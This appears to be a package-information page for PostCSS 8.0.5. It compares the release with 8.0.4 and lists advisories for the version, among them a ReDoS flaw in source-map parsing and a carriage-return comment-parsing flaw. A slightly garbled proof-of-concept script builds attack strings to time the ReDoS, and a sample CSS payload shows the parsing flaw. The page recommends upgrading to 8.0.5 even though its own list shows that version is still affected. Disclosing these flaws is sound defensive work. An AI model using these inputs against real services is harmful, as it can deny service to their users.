PostCSS 8.0.5 is a minor update to the popular JavaScript tool for transforming CSS with plugins, succeeding version 8.0.4. Both versions maintain the core functionality of PostCSS, allowing developers to manipulate CSS code using a wide array of plugins for tasks like autoprefixing, linting, and future CSS syntax support. Looking at the package data, the dependency list remains identical between the two versions, including nanoid, colorette, source-map, and line-column. This suggests that the update might include bug fixes, performance improvements, or minor internal adjustments rather than a significant overhaul of features or dependencies.
The most noticeable difference lies in the dist metadata: PostCSS 8.0.5 has a slightly larger unpacked size of 193,398 bytes compared to 8.0.4's 193,314 bytes. This small difference in size, along with a newer release date, indicates that the newer version probably addresses minor code changes or improvements. For developers using PostCSS, upgrading to version 8.0.5 is generally recommended to benefit from the latest bug fixes and potential performance enhancements. Considering the shared dependency list, the upgrade should present no breaking changes or compatibility issues therefore ensuring a seamless transition.
All the vulnerabilities related to the version 8.0.5 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.